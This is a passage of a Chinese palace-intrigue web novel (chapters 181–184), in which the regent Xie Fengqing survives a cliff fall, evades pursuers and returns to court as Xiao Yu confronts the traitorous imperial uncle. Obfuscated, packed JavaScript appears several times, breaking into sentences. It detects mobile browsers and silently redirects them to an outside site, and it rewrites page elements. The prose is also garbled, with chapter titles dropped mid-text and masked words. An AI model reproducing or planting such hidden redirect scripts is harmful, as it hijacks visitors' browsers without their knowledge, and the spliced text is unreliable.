他猛地松开几乎要捏碎的金簪(那簪子掉落在地,发出清脆的声响),一步上前,几乎是踉跄着冲到那名传令兵面前,双手死死抓住对方染满风尘汗渍的衣襟,眼睛瞪得几乎要裂开,声音嘶哑得不成样子,带着一种濒死之人抓住救命稻草般的绝望与狂喜: “你……你说什么?!再说一遍?!摄政王她……她真的……在北境?!安然无恙?!军报……军报拿来!!!” 传令兵被他眼中那骇人的、几乎要燃烧起来的光芒吓得一哆嗦,但职责所在,依旧用最清晰、最肯定的声音重复:“千真万确!殿下!军报在此!上有镇北军主帅独有印信,以及……以及殿下随身玉佩按压的私章印记为凭!”他颤抖着从贴胸处取出一个用火漆密封、沾满汗渍的铜管,高举过头顶。 萧御几乎是抢一般夺过铜管,手指颤抖着,几乎是撕开了火漆,抽出里面的绢布军报。熟悉的、属于镇北军主帅刚劲有力的字迹映入眼帘,末尾,除了主帅大印,果然有一个清晰小巧的、桃花形状的印记——那是谢凤卿贴身玉佩的印记,他绝不会认错! 第181章时间到了,必须撤 是真的……竟然是真的?! 狂喜如同火山喷发,瞬间冲垮了刚才那灭顶的绝望!巨大的情绪反差让他几乎站立不稳,眼眶瞬间通红,热泪几乎要夺眶而出!但他死死忍住,迅速浏览军报内容,越看,心脏跳得越快,血液奔流的声音在耳边轰鸣! 军报详细叙述了谢凤卿如何突然乘巨舰抵达,如何出示虎符镇住众将,如何部署反击,如何亲临前线(虽未直接冲杀,但坐镇中军),最终大破戎狄的经过。字里行间,充满了主帅的激动、敬佩与誓死效忠之意。 “殿下……殿下还让我等传话回京……”传令兵见萧御看完,深吸一口气,昂首挺胸,努力模仿着记忆中那位女王爷清冷威严、却仿佛能平定一切风浪的声音,朗声道: “殿下口谕:京师诸公,七日之期未至,便如此心急火燎,坐不稳朝堂了吗?且都安安稳稳给本王待着,待本王清理完边境这些不知死活的宵小,便回京——” 他顿了顿,目光扫过瘫软在地、面如死灰的萧成璧,扫过那些方才蠢蠢欲动的宗室党羽,声音陡然转厉,带着冰冷的、不容置疑的杀伐之气: “——与诸位,好、好、算、账。” “好、好、算、账。” 四个字,一字一顿,如同四记重锤,狠狠砸在太极殿光可鉴人的金砖地上,也砸在每一个心怀鬼胎者的心头!余音袅袅,带着北境风雪的肃杀和战火的血腥气,回荡在骤然死寂、落针可闻的大殿之中。 时间倒回七日之前,断魂崖下,谢凤卿坠落的那个生死瞬间。 冰冷刺骨的河水,如同无数根淬毒的钢针,从四面八方狠狠刺穿她早已被“鸠羽”剧毒侵蚀得麻木的肌肤,灌入耳鼻口目。巨大的冲击力让她五脏六腑都仿佛移位,眼前瞬间被黑暗和窒息感吞没。湍急的水流裹挟着她,如同狂暴的巨兽,狠狠撞向水下嶙峋的礁石。 骨头碎裂般的剧痛传来,喉咙里涌上腥甜。 要**吗? 意识在冰冷与窒息的边缘模糊、飘散。无数画面碎片般闪过脑海:太庙高台上那身玄朱冕服的红与黑,萧御交换信物时眼中那一闪而过的温柔与紧张,死士狰狞扑来的面孔,桃花剑脱手时那一声清越又绝望的嗡鸣,还有……萧御最后那一声撕心裂肺的“凤卿——!!!”…… 不。 不能死。 心底最深处,一股如同濒死火山般的灼热意志,轰然爆发!她还没有看到山河真正大定,海晏河清;没有看到女学遍地开花,女子亦可顶天立地;没有看到那贯通南北、改变世界的铁路蓝图化为现实;更没有……兑现与萧御那个“待山河大定,我便凤冠霞帔,堂堂正正再嫁你一次”的誓约。 怎能就此放弃?! “嗬——!”一声无声的嘶吼在她灵魂深处炸响!濒临崩溃的身体,在这股超越极限的求生意志驱动下,强行榨出最后一丝潜能!残存的“冰凰诀”真气(一种至寒至韧的内功心法)如同游丝般窜起,护住几近停跳的心脉,强行将侵入的河水逼出肺腑! 借着又一次撞击礁石的反作用力,她猛地蹬踏,用尽全身力气,朝着隐约透下微光的河面挣扎冲去! “哗啦——!” 破水而出的刹那,冰冷浑浊的空气涌入火烧火燎的胸腔,带来短暂的清明。然而下一个浪头接踵而至,再次将她拍入水中。但这一次,她看清了——斜前方不远处,河道拐弯处,有一片被水流冲刷形成的、相对平缓的卵石浅滩。 浅滩!生的希望! 求生的欲望压倒了一切痛苦与疲惫。她不再试图对抗湍流,而是顺势而为,利用水流的方向,拼尽残存的所有气力,用别扭的姿势,朝着那片浅滩艰难地“漂”去。冰冷的河水不断带走体温,鸠羽之毒带来的麻痹感如同附骨之疽,侵蚀着神经与肌肉,每一次划水都沉重得像是拖着千斤巨石。肺部火烧火燎,眼前阵阵发黑。 近了……更近了…… 指尖终于触到了粗糙、湿滑的卵石。她用尽最后的意志,手脚并用,如同最原始的爬行动物,将自己一寸寸拖离那致命的河水,重重摔在冰冷坚硬的石滩上,剧烈地咳嗽,呕出大量带着血丝的河水。 寒冷、剧痛、毒素、力竭……如同潮水般席卷而来,要将她拖入永恒的黑暗。意识开始模糊,视野边缘泛起黑雾。 不能昏过去……残存的理智尖叫着。一旦昏厥,要么失温而死,要么被可能存在的追兵发现,后果不堪设想。 她狠狠咬破舌尖,尖锐的剧痛带来一丝短暂的清明。挣扎着抬起头,朦胧的视线扫向浅滩边缘的灌木丛——那里,似乎有几道模糊的人影,正在快速而谨慎地靠近!脚步轻盈迅捷,绝非寻常樵夫猎户! 是敌?是友?还是……另一批埋伏者? 没有时间判断了! 她强撑着几乎散架的身体,用最快速度观察四周地形——浅滩上方,是近乎垂直的湿滑崖壁,布满了经年累月的藤蔓和风化形成的裂缝。崖壁中段,有一处被藤蔓半遮掩的、向内凹陷的岩石缝隙,勉强可容一人藏身。 赌一把! 她用尽最后的气力,抓住几根垂落的、相对结实的藤蔓,手脚并用,指甲抠进岩缝,忍受着全身伤口被牵拉的剧痛,一点一点,极其艰难地向那处岩缝挪去。每上升一寸,都仿佛耗尽了全部生命。湿滑的岩壁让她几次险些脱手坠落,冰冷的藤蔓磨破了掌心,鲜血混着冰冷的露水,染红了手掌和藤蔓。 终于,在下方人影即将踏出灌木丛的刹那,她成功将自己蜷缩进了那处狭窄、阴暗、冰冷的岩缝之中,屏住呼吸,将身体紧紧贴在冰冷的石壁上,连心跳都仿佛要停止。 几乎就在她藏好的瞬间,那三道人影踏上了浅滩。 是三个穿着灰色劲装、面容普通到扔进人堆就找不到的男子。但他们眼神锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096196|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利如鹰隼,行动间无声无息,配合默契,显然是训练有素的追踪或**。 他们迅速而专业地检查着浅滩上的痕迹:水渍的流向、卵石被翻动的迹象、以及……谢凤卿爬上岸时留下的、凌乱而带血的拖痕。 “血迹新鲜,人应该刚上岸不久,伤得不轻。”一人蹲下,用手指捻起一点带血的泥沙,低声道,声音平稳无波。 “分头找!仔细点!上头死命令,生要见人,死要见尸。尤其是她身上可能带的虎符,务必找到!”另一人显然是头领,立刻下令,语气森然。 三人立刻呈扇形散开,目光如同梳子般仔细扫过浅滩的每一寸土地、每一簇灌木,甚至开始检查靠近水面的岩石缝隙。 谢凤卿在岩缝中,屏息凝神,连睫毛都不敢颤动。冰冷的石壁不断吸走她本就微弱的体温,伤口传来的剧痛和毒素的麻痹感交替侵袭,让她几欲昏厥。她死死咬住下唇,用更尖锐的疼痛保持清醒,同时心中急转——听清了,“虎符”!果然,对方的目标不仅是她的命,更是那能调动天下兵马的至高信物!这绝非普通仇杀或政敌报复,而是蓄谋已久、志在颠覆的惊天阴谋! 下方的搜寻持续了约一刻钟,三人几乎将浅滩翻了个遍,甚至用刀剑拨开了茂密的灌木丛。 “没有。” “这边也没有。” “会不会……已经被河水冲走了?这么急的水流,重伤之下,很难存活。”一人提出疑问。 “不可能。”那头领断然否定,指着地上凌乱的血迹和拖痕,“血迹到这里虽然淡了,但明显是上了岸。仔细找,可能用了什么方法隐匿了,或者爬到了上面。”他的目光开始向上,扫视陡峭的崖壁。 谢凤卿的心提到了嗓子眼。岩缝虽隐蔽,但若对方仔细搜寻崖壁,未必不能发现。 就在那头领的目光即将扫过她藏身之处时,远处山林中,忽然传来一声短促而尖锐的、类似某种夜枭的鸣叫(显然是某种约定好的信号)。 三人同时一顿,迅速聚拢。 “时间到了,必须撤。老君庙那边还有重要布置,不能耽误。”头领看了一眼声音传来的方向,果断道。 “可是人没找到,虎符也没下落……”另一人有些不甘。 “找不到也得走!计划不能乱!”头领语气严厉,“留两个人,继续在这一带暗中搜索,扩大范围。其他人,按原计划,立刻撤回老君庙!” 三人迅速达成一致。头领和另一人毫不拖泥带水,几个起落便消失在茂密的灌木丛后,动作迅捷如鬼魅。剩下的一人,则隐匿在一块巨石后的阴影里,继续监视着浅滩及周边区域。 谢凤卿心中念头飞转。老君庙?接应点?果然有后续计划!对方布局周密,刺杀、追踪、搜捕、甚至可能还有栽赃或转移的环节环环相扣。自己此刻重伤**,体力耗尽,且敌暗我明,硬拼只有死路一条。 第182章已顾不得许多 必须拖延时间,制**象,让对方误判!同时,必须尽快离开这片区域,找到一个相对安全、能获取信息、并能联系外界的据点! 一个大胆而冒险的计划,在她飞速运转的脑中迅速成型——金蝉脱壳,疑兵之计。 她忍着剧痛,悄悄解下腰间早已破损、仅剩半截的羊脂玉佩(这玉佩质地特殊,带有她独特的徽记暗纹)。又用指尖,小心翼翼地蘸取了一些从腰侧伤口渗出的、尚未完全凝固的鲜血。 趁着下方那名留守者注意力被河面一阵不寻常的水花响动吸引的瞬间(或许是鱼,或许是漂流物),她运起体内残存的最后一丝内力,将玉佩和几片沾染了鲜血、从破损冕服上撕下的玄色碎布,用巧劲裹在一起,以暗器手法,极其精准地弹射出去! “噗”一声轻响,物件落在了浅滩下游十几步外、一处水流稍缓、卵石堆积的显眼位置,一半浸在水中,一半露在外面,看起来就像是重伤之人被水流继续冲到此地,挣扎时遗落。 做完这一切,她几乎虚脱,冷汗浸透了单薄湿冷的内衫。但她不敢有丝毫停留,强撑着最后一点清明和力气,趁着下方那人被下游“发现”的“线索”吸引、匆匆赶去查看的机会,小心翼翼地从藏身的岩缝另一侧,沿着更加陡峭湿滑、几乎无处着力的崖壁,一点一点,向更高处、一个被浓密藤蔓完全遮掩、从下方绝难发现的天然小岩洞挪去。 每移动一寸,都牵动全身伤口,带来钻心刺骨的剧痛,眼前阵阵发黑,冰冷的崖壁和湿滑的苔藓让她几次险些失手滑落深渊。但她凭着非人的意志力,死死抠住岩缝,咬紧牙关,终于成功挪进了那个仅能容身的狭窄岩洞。 蜷缩在冰冷、黑暗、弥漫着土腥味的洞内,她剧烈地喘息着,每一次呼吸都带着血腥味和火辣辣的疼痛。没有食物,没有药物,只有腰间暗格里,用油纸和蜡密封的、最后一颗救命丹药——“雪蟾丹”。此丹极其珍贵,有吊命续气、暂时压制百毒之效,但药性霸道,服用后需立刻静养调理,否则反伤根本。 此刻,已顾不得许多。 她毫不犹豫地取出丹药,吞服下去。丹药入腹,化作一股灼热的气流,迅速蔓延四肢百骸,勉强压住了鸠羽之毒带来的麻痹与寒意,恢复了一丝微弱的气力,也让她冰冷的身体稍微暖和了一点。 天色,在这番生死挣扎中,渐渐暗了下来。山间的雾气非但没有散去,反而更加浓重,如同乳白色的幔帐,笼罩了整片山谷。 追兵可能还会回来,这里不能久留。必须趁夜离开断魂崖区域。 她记得,萧御曾对她提过,鬼市庞大船队中的旗舰“鲲鹏号”,在京城西南方向百余里外、一个名为“黑水渡”的荒僻码头,设有一个极其隐秘的物资中转与情报联络据点。负责人代号“铁叔”,是鬼市核心元老之一,绝对可靠,且只听从她和极少数几个最高层的直接命令。 或许,可以冒险一试。这是目前最近、也最有可能获得援助和安全藏身之处的地方。 夜间,浓雾成了最好的掩护,也成了最危险的障碍。她凭着过人的方向感和对星光的微弱辨识(浓雾中偶尔露出的缝隙),拖着沉重伤躯,避开白天观察到可能的搜索路线,朝着西南方向,开始了漫长而艰难的跋涉。 渴了,就喝岩石缝里渗出的冰冷山泉;饿了,只能嚼食一些苦涩但无毒的草根和嫩叶;伤口用扯下的、相对干净的里衣布料紧紧捆扎,但失血和感染的风险无时无刻不在威胁着她的生命。鸠羽之毒虽被雪蟾丹暂时压制,但并未根除,时不时带来阵阵眩晕和针刺般的疼痛。 支撑她走下去的,唯有那股从绝境中爆发、不甘就此消亡的熊熊心火,以及脑海中,萧御最后那悲恸欲绝的面容和嘶喊。 萧御……等我。 这盘以天下为局、以生死为注的棋,还没下完。 我谢凤卿,绝不会死在这里! 第三日,黎明前最黑暗的时刻。 历经几乎非人的折磨,凭借惊人的意志和运气,谢凤卿终于抵达了黑水渡外围。她没有贸然现身,而是潜伏在附近一处能俯瞰码头的高地密林中,忍受着伤口的疼痛和高烧带来的阵阵寒意,一动不动地观察了整整一天一夜。 码头上人来人往,有苦力,有商贩,有看似寻常的渔民。她仔细分辨着每个人的举止、眼神、交流方式。直到确认没有任何异常的眼线或可疑的盯梢,码头的运作也符合鬼市据点一贯的隐秘与高效风格后,她才在第二日深夜,伪装成落难的渔家女(用泥污遮掩面容,撕扯衣物改变样式),以只有鬼市最高层才知道的、不断变化的特殊暗号和节奏,接触了据点外围最隐蔽的一道暗哨。 当据点负责人——“铁叔”,那位面容憨厚、眼中却精光内敛、看似普通账房先生的中年男子,在密室中见到这个衣衫褴褛、浑身是伤、发着高烧、却依旧挺直脊梁、眼神清冽如寒潭的女子时,惊得手中茶盏“啪”地一声掉落在地,摔得粉碎! “主……主子?!是您?!您真的……真的还活着?!老天爷!京城那边都快翻天了!监国亲王殿下他……”铁叔扑通一声跪倒在地,这个经历过无数大风大浪的汉子,此刻竟也红了眼眶,声音哽咽。 “铁叔,起来,时间紧迫。”谢凤卿的声音因高烧和虚弱而沙哑,但那种深入骨髓的威严和不容置疑的决断力,却丝毫未减。她阻止了铁叔的激动,直接切入正题,“我需要立刻知道,从我坠崖到现在,京城、朝堂、边疆、江南……所有重要的动向和消息,越详细越好。我需要最好的大夫,立刻疗伤解毒,此事必须绝对保密,除你之外,不得让任何人知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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徐锋,早年曾因家族**险些丧命,是她力排众议,为其**,并破格提拔至边关重任。此人能力卓著,对朝廷忠心,更对她个人抱有知遇之恩,是少数几个知晓她“财神”身份与鬼市关联的心腹大将之一。 “第二,以我的印信,急令‘鲲鹏号’放弃原定南洋航线,全速返航,务必在三日内抵达黑水渡接应。船上应有我预留的备用物品和部分应急物资,清单你已知晓,仔细核对。”‘鲲鹏号’是鬼市船队中最大、最快、也最隐秘的巨舰,常年航行海外,是她布局全球贸易和情报的重要棋子。 “第三,动用我们在宗室、旧党、甚至戎狄内部的所有暗线,不计代价,搜集礼亲王萧成璧及其党羽所有罪证,尤其是他们与戎狄左贤王部、江南漕帮余孽暗中勾结、输送利益、密谋作乱的铁证。同时,重点查清‘京郊老君庙’的底细——我怀疑,那里不仅仅是接应点,更是他们准备用来伪造我‘尸身’或囚禁审讯的秘窟。找到证据,掌控关键人证。” 第183章我乃先帝亲弟,当今皇叔 “第四,传讯江南总负责人柳随风,令他动用一切手段,务必在最短时间内稳住物流总司,扑灭骚乱。对为首**、蛊惑人心的漕帮长老及背后世家,不必姑息,抓其首恶,杀一儆百!女学基金一切运作照常,若有内部人员趁乱异动或与外部勾结,记下名单,按叛徒论处,等我回去亲自清理门户。” “第五,”她顿了顿,眼中冷冽的杀意稍缓,闪过一丝极其复杂的情绪,声音也低了些,“给萧御……送一份‘礼物’。不必言明我的具体位置和计划,只需让他知道,我还活着,让他……无论如何,撑住,守住京城,等我回来。” 她有条不紊地布置着,仿佛不是在重伤休养,而是在运筹帷幄,指挥一场规模浩大的反击战役。每一个环节,每一个步骤,都考虑得周密严谨,既有雷霆手段,也有隐秘后招。 铁叔领命而去,心中震撼无以复加。主子坠崖重伤,身中剧毒,身处绝境,却能在如此短的时间内,不仅保住性命,还能如此冷静清晰地分析局势,布下如此一张涵盖朝堂、军队、经济、情报的反制大网……这份心志、谋略与掌控力,简直令人敬畏。 疗伤、解毒、谋划、布局……时间在高度紧张与精密计算中飞速流逝。谢凤卿的身体在鬼市搜罗的奇药和自身坚韧意志的双重作用下,缓慢而稳定地恢复着。鸠羽之毒被暂时压制,伤口开始愈合,高烧退去。但更重要的,是她的意志经历了一次彻底的淬炼与涅槃。坠崖之辱,剧毒蚀骨,朝野背叛,盟友倒戈……这一切,如同最猛烈的火焰,烧去了她曾经或许还有的一丝犹豫与温存,让她看清了权力场上最残酷的本质——仁慈与宽容,在某些时候,只会成为敌人刺向自己的利剑。 “既然他们想要这天下大乱,想要将我建立的一切撕碎,”她望着镜中自己苍白却锐利如刀、仿佛褪去了一层柔和外壳的面容,眼神冰冷而坚定,“那我便让这乱,来得更彻底一些。用烈火,焚尽枯枝朽木;用鲜血,洗刷魑魅魍魉。待尘埃落定,方见……真正的新生。” 第七日,黎明之前,黑水渡秘密船坞。 巨大的“鲲鹏号”如同来自深海的洪荒巨兽,悄无声息地滑入被天然岩壁遮掩的隐秘港湾。船体线条流畅,通体乌黑,帆桅收拢,与夜色和岩壁几乎融为一体。 谢凤卿在铁叔和几名绝对心腹的护卫下,登上了这艘属于她的“海上行宫”。她已换下一身破烂的衣衫,穿上了一身利落的墨蓝色劲装,外罩一件宽大的玄色大氅,青丝用一根乌木簪简单束在脑后,露出苍白却线条愈发清晰凌厉的脸庞。身上依旧带着伤后的虚弱,但那股经霜不凋、浴火重生后的凛冽气场,却比以往任何时候都更加摄人心魄。只是静静站在那里,便如渊渟岳峙,让所有前来迎接的船员、水手、护卫,都不由自主地躬身垂首,心生敬畏,不敢直视。 进入专属的、布满机关与隔音设施的核心舱室,她屏退左右,打开了舱壁上一个极其隐蔽的暗格,里面是一个特制的、带有复杂机括锁的金属保险柜。 指纹、密码、特定顺序的旋转……多重验证后,保险柜无声滑开。 里面,静静地躺着几样东西。 最显眼的,是一枚黑沉沉、泛着幽冷金属光泽的完整虎符。形制、纹路、重量,甚至上面细微的磨损痕迹,都与她和萧御共同掌管的那一对虎符几乎一模一样——这是她早年以“财神”身份,通过隐秘渠道收集珍稀材料,耗费重金,请天下最顶尖的匠人秘密仿制的“副符”!除了她和极少数核心工匠,无人知晓其存在。真正的虎符一对合一才能调动全军,这副符本身并无实际调兵权,但在特定的情境下(比如主帅的绝对配合与承认),足以制造出她已完全掌控兵权的震慑效果。 旁边,是一柄连鞘长剑。剑鞘通体乌黑,无任何装饰,古朴沉重。她伸手握住剑柄,缓缓抽出——剑身并非她惯用的桃花剑的银亮,而是呈现出一种深邃的乌黑色泽,仅在刃口处流动着一线幽蓝的寒光。剑身靠近护手处,刻有暗红色的、仿佛火焰又似凤凰羽翼的古老纹路,这是墨家研究院以天外陨铁为主材,融合数种奇异金属,为她量身打造的备用佩剑——“玄乌”。此剑锋利无匹,更兼具韧性与硬度,其色如夜,其势如渊,更契合她此刻历经生死、心性淬炼后的心境与处境。 她拿起虎符,冰冷沉重的触感从掌心传来;又轻轻抚过玄乌剑冰凉的剑身,感受着其内蕴的凌厉锋芒。 然后,她走到舷窗边,望向外面。 东方海天相接之处,夜色正浓,但已有一线极淡的鱼肚白,悄然撕开了深蓝的天幕。更远处,海平面下,似乎有金光正在孕育、挣扎,即将喷薄而出。 “京城,”她低声自语,声音平静无波,却蕴含着足以撕裂黑暗的力量,“我回来了。” “带着北境的风雪与捷报。” “带着清算的名单与染血的刀锋。” “带着从地狱爬回、誓要重定乾坤的意志。” 她转身,玄色大氅划开一道利落的弧线。 “萧御,等我。” “魑魅魍魉们,你们的盛宴,该结束了。” 七日之期,酉时将至未至,黄昏的余晖为太极殿鍍上一层凄艳的金红色。 殿内的气氛,已然从最初的极致震惊、死寂,转为一种更加复杂诡异的凝滞。仿佛暴风雨前最后那令人窒息的平静,又像是沸腾岩浆即将喷发前,表面那层脆弱的硬壳。 摄政王谢凤卿未死,且现身北境、执掌虎符、大破戎狄的消息,如同最狂暴的飓风,以不可思议的速度席卷了整座大殿,彻底颠覆了所有人先前或悲恸、或窃喜、或观望的预期。 那些原本气焰嚣张、以为胜券在握、迫不及待要逼宫立储、瓜分权力的宗室党羽们,脸上的得意与亢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“既然无话,”萧御缓缓走下御阶,步履稳定,却带着一种无形的、令人心悸的威慑力,一步步逼近瘫软如泥的萧成璧,“那便不妨聊聊,弑君、勾结外敌、祸乱朝纲、构陷监国……这数罪并罚,依《大周律》,该当何论?嗯?” 最后一声轻“嗯”,尾音上扬,却冰冷彻骨。 “我……我乃先帝亲弟,当今皇叔,**罔替的礼亲王!”萧成璧如同濒死的鱼,猛地挣扎起来,嘶声力竭,做最后的反扑,“无圣旨,无三司会审定谳,你敢动我?!萧御!你休要假公济私,诬陷忠良!你这是排除异己,想要独揽大权!诸公!诸公要为我做主啊!”他涕泪横流,试图以辈分和哭诉博取同情。 “圣旨?三司会审?”萧御嘴角勾起一抹毫无笑意的弧度,眼中寒光一闪,“看来礼亲王是不到黄河心不死。好,本王便让你死个明白。” 他轻轻拍了拍手。 掌声未落,殿外甲胄铿锵之声再起!数名风雪十八骑精锐,押着几个人走了进来。除了之前那名“影鸦”头目,还有一个面如土色、抖如筛糠的中年庙祝(老君庙庙祝),一个眼神闪烁、穿着管家服饰的男子(萧成璧府上的管事),以及两名被塞住嘴巴、穿着明显异族服饰、眼神怨毒的汉子(擒获的戎狄暗探)。 第184章你说,恨本王入骨者,不知凡几? 人证,物证(包括从萧成璧别院密室内搜出的、与戎狄往来密信及巨额银票),被一一呈上。一条清晰而肮脏的罪恶链条,在萧御冰冷的话语和铁证面前,被无情地勾勒出来:萧成璧如何因新政损害宗室利益而怀恨在心;如何暗中勾结失意武将、漕帮余孽,策划大婚刺杀与断魂崖埋伏;如何与戎狄左贤王部秘密往来,许诺割让边境三城,换取对方在关键时刻陈兵边境施压;老君庙密室如何作为中转囚禁或伪造现场的据点;事败后如何企图焚毁证据、**灭口,却留下了指向自己的血字…… 铁证如山,环环相扣,容不得丝毫辩驳!一些原本暗中与萧成璧有所勾连、或收受其好处的官员,已是面无人色,瘫软在地。 “萧成璧,”萧御居高临下,俯视着这个曾经道貌岸然、如今却丑态百出的皇叔,眼神如同在看一堆令人作呕的垃圾,“弑君谋逆,勾结外敌,祸乱江山,证据确凿,你还有何言?” 萧成璧面如死灰,瘫在地上,知道自己大势已去,所有的伪装和狡辩在绝对的实力和证据面前都苍白无力。忽然,他不知从哪里涌起一股穷途末路的疯狂,竟仰天大笑起来,笑声凄厉而怨毒:“成王败寇!成王败寇!老夫认了!可萧御!你以为你赢了?谢凤卿那个妖女!牝鸡司晨,祸乱朝纲!她推行新政,断了多少人的财路?!她兴办女学,颠倒阴阳,坏了千年的规矩!她打压宗室,不敬祖宗,早晚遭天谴!老夫杀她,是为民除害!是为萧氏江山除害!哈哈哈哈!她这次坠崖不死,是她命大!但你们以为这就完了?这天下,恨她入骨者不知凡几!她能躲过一次,还能躲过十次百次?她不死,天下不宁!萧氏列祖列宗都不会放过你们这对……” “放肆!!!”萧御厉声断喝,声震殿宇,眼中杀机如同实质的冰风暴,瞬间席卷全场!那疯狂的诅咒和恶毒的咆哮,每一个字都像刀子剜在他的心上!“死到临头,尚不知悔改,狂悖至此!来人!” “在!!!”殿外待命的金甲卫士轰然应诺,声如雷霆! “将逆贼萧成璧,及其同党,”萧御一字一顿,声音森寒如九幽之风,宣判着他们的命运,“拖出殿外,即刻……” “报——!!!!!!!!!” 又一声!比之前所有急报加起来都要高亢、都要激越、都要石破天惊的嘶吼,如同九天狂雷挟着万钧之势,毫无预兆地,轰然炸响在太极殿外,随即以无可阻挡的姿态,撕裂空气,穿透厚重的殿门,狠狠砸进了每一个人的耳膜,砸在了每一个人的心尖上! “摄政王殿下——驾到!!!!!!” “殿驾已至宫门外!!!!!!” 轰——!!!!!!! 如果说之前北境军报是惊雷,那么这一声通传,便是天崩地裂!是宇宙洪荒初开的第一道霹雳!是足以让所有人灵魂出窍的终极震撼! 回京了?!从北境到京城,千里之遥,就算快马加鞭、日夜兼程,也绝不可能在接到军报后短短几个时辰内就出现在宫门外!这……这完全违背了常理!超出了所有人的想象极限! 萧御的厉喝戛然而止,霍然转身,望向殿门的方向!心脏在那一瞬间仿佛停止了跳动,血液冲上头顶,眼前甚至出现了短暂的空白!大殿内所有人,无论敌友,全都如同被施了定身法,脖颈僵硬地扭转,瞪大眼睛,张大了嘴巴,难以置信地望向那洞开的、洒满黄昏余晖的殿门方向,仿佛等待着神迹或妖魔的降临。 下一刻。 沉重、整齐划一、带着金铁交鸣与沙场肃杀之气的脚步声,如同远古巨兽的心跳,又如同催征的战鼓,由远及近,踏、踏、踏,每一步都仿佛踩在众人的心跳节拍上,震得金砖地面微微颤动! 不是皇家仪仗的笙箫鼓乐,不是宫人抑扬顿挫的唱喏,而是铿锵有力的战靴踏地之声,混合着甲胄叶片摩擦的清脆金属鸣响,带着北境风沙的粗粝与血火淬炼过的冰冷杀气,滚滚而来,瞬间充斥了这座象征文治的庄严殿堂! 首先映入眼帘的,是一队全身覆盖着哑光黑甲、脸上戴着狰狞恶鬼面具、手持丈二长戟的精锐武士!他们沉默如铁,步伐一致,如同一道移动的黑色钢铁城墙,瞬间涌入大殿,分列御道两侧,冰冷的杀气弥漫开来,让殿内温度骤降!有人认出了这支只在传说中听闻的部队——北境镇北军中最神秘、最强悍、直属主帅的亲卫,“玄甲鬼面卫”!非主帅亲令或虎符调遣,绝不出动! 紧接着,四名身着墨家特制机关软甲、气息沉凝如山岳的高手,抬着一乘轻便却异常坚固的玄木肩舆,稳步踏入。肩舆无盖,方便殿内众人看清其上之人。 舆上,端坐一人。 玄色大氅随意披在肩头,内着墨蓝色利落劲装,青丝仅用一根乌木簪简单束起,露出苍白却线条清晰凌厉的侧脸与脖颈。她微微垂着眼帘,长长的睫毛在眼下投下一小片淡淡的阴影,遮住了眸中神色。手中,随意地把玩着一枚黑沉沉、泛着幽冷金属光泽的——完整虎符。 没有珠翠环绕,没有华服盛装,甚至脸色带着失血后的苍白与淡淡的倦意。但她就那样静静地坐在那里,周身却散发着一种历经生死淬炼、看透世事沧桑后的深沉威压,一种渊渟岳峙、仿佛能**一切魑魅魍魉的绝对气场。如同尘封千年终于出鞘的绝世神兵,无需锋芒毕露,只是静置于此,便已令四方屏息,万物低眉。 正是——谢凤卿! 她还活着!真的回来了!而且是以这样一种超越所有人想象、带着北境烽火与凛冽杀伐之气的方式,悍然闯入了这决定帝国命运的朝会中心! 殿内一片死寂。绝对的、连呼吸都几乎停滞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109439|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死寂。唯有那战靴落地的余韵和甲胄摩擦的轻响,还在空气中隐隐回荡。 肩舆在御阶之下停住。谢凤卿缓缓抬眸。 那一瞬,仿佛有两道实质般的、冰寒刺骨却又仿佛能洞悉一切的目光,如同最锋利的剑,扫过全场。目光所及之处,无人敢与之对视,纷纷垂首或避开。 她的目光,首先落在了御阶之上、那个几乎僵立成雕像、仿佛连灵魂都被抽走的男子身上。 四目相对。 萧御的眼中,瞬间爆发出无比复杂的光芒——失而复得的狂喜、锥心刺骨的悲痛、劫后余生的庆幸、日夜煎熬的后怕、深入骨髓的眷恋……所有积压了七日七夜、几乎要将他撕裂的情绪,在这一刻如同决堤的洪水,汹涌澎湃,几乎要冲破眼眶的堤坝!他张了张嘴,喉头剧烈滚动,却发不出任何声音,只是死死地盯着她,仿佛要将她的身影、她的面容、她活生生存在的事实,死死地、永远地刻进灵魂最深处,融入骨血之中! 谢凤卿看着他憔悴不堪的面容、深陷的眼窝、背上隐隐渗血的绷带痕迹,以及眼中那几乎要溢出来的、浓烈到化不开的情感,冰封的心湖深处,某一块坚冰,悄然融化了一角。但面上,她依旧平静无波,只是几不可察地,对着他,轻轻、却极其坚定地,点了点头。 一个眼神,一个点头。 无需言语,一切尽在不言中。 我还活着。 我回来了。 你辛苦了。 